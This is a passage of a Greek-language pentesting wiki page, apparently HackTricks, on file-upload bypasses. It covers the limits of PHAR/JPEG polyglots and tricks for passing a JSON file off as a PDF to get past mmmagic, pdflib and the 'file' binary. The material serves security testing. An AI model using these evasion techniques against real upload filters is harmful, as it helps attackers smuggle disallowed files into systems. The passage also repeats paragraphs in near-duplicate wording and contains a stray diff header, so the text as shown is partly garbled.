Παρότι είναι ευέλικτα, τα polyglots αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα polyglot μπορεί ταυτόχρονα να ενσωματώνει ένα PHAR αρχείο (PHp ARchive) και ένα JPEG, η επιτυχία του upload μπορεί να εξαρτάται από την πολιτική της πλατφόρμας σχετικά με τις επεκτάσεις αρχείων. Αν το σύστημα είναι αυστηρό όσον αφορά τις επιτρεπτές επεκτάσεις, η απλή δομική διπλότητα ενός polyglot ενδέχεται να μην αρκεί για να εγγυηθεί το upload.
Περισσότερες πληροφορίες στο: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
Περισσότερες πληροφορίες: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Ανέβασμα έγκυρων JSON όπως αν ήταν PDF
### Φόρτωση έγκυρων JSON σαν να ήταν PDF
Πώς να αποφύγετε τις ανιχνεύσεις τύπου αρχείου ανεβάζοντας ένα έγκυρο αρχείο JSON ακόμη και αν δεν επιτρέπεται, προσποιούμενοι ότι είναι ένα αρχείο PDF (τεχνικές από **[αυτή την ανάρτηση στο blog](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Πώς να αποφύγετε την ανίχνευση τύπου αρχείου ανεβάζοντας ένα έγκυρο JSON αρχείο ακόμη και αν δεν επιτρέπεται, προσποιούμενοι ότι είναι PDF (τεχνικές από **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` βιβλιοθήκη**: Όσο οι μαγικοί byte `%PDF` είναι στα πρώτα 1024 byte, είναι έγκυρο (πάρε παράδειγμα από την ανάρτηση)
- **`pdflib` βιβλιοθήκη**: Πρόσθεσε μια ψεύτικη μορφή PDF μέσα σε ένα πεδίο του JSON ώστε η βιβλιοθήκη να νομίζει ότι είναι PDF (πάρε παράδειγμα από την ανάρτηση)
- **`file` δυαδικό**: Μπορεί να διαβάσει έως 1048576 byte από ένα αρχείο. Απλά δημιούργησε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να αναλύσει το περιεχόμενο ως JSON και στη συνέχεια μέσα στο JSON βάλε το αρχικό μέρος ενός πραγματικού PDF και θα νομίζει ότι είναι PDF
- **`mmmagic` library**: Όσο τα magic bytes `%PDF` βρίσκονται στα πρώτα 1024 bytes είναι έγκυρο (δες παράδειγμα στο post)
- **`pdflib` library**: Προσθέστε μια ψεύτικη μορφή PDF μέσα σε ένα πεδίο του JSON ώστε η βιβλιοθήκη να νομίζει ότι πρόκειται για PDF (δες παράδειγμα στο post)
- **`file` binary**: Μπορεί να διαβάσει μέχρι 1048576 bytes από ένα αρχείο. Απλά δημιουργήστε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να αναλύσει το περιεχόμενο ως JSON και μετά μέσα στο JSON βάλτε το αρχικό μέρος ενός πραγματικού PDF και θα θεωρήσει ότι είναι PDF
## Αναφορές
@ -322,5 +326,6 @@ pop graphic-context
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}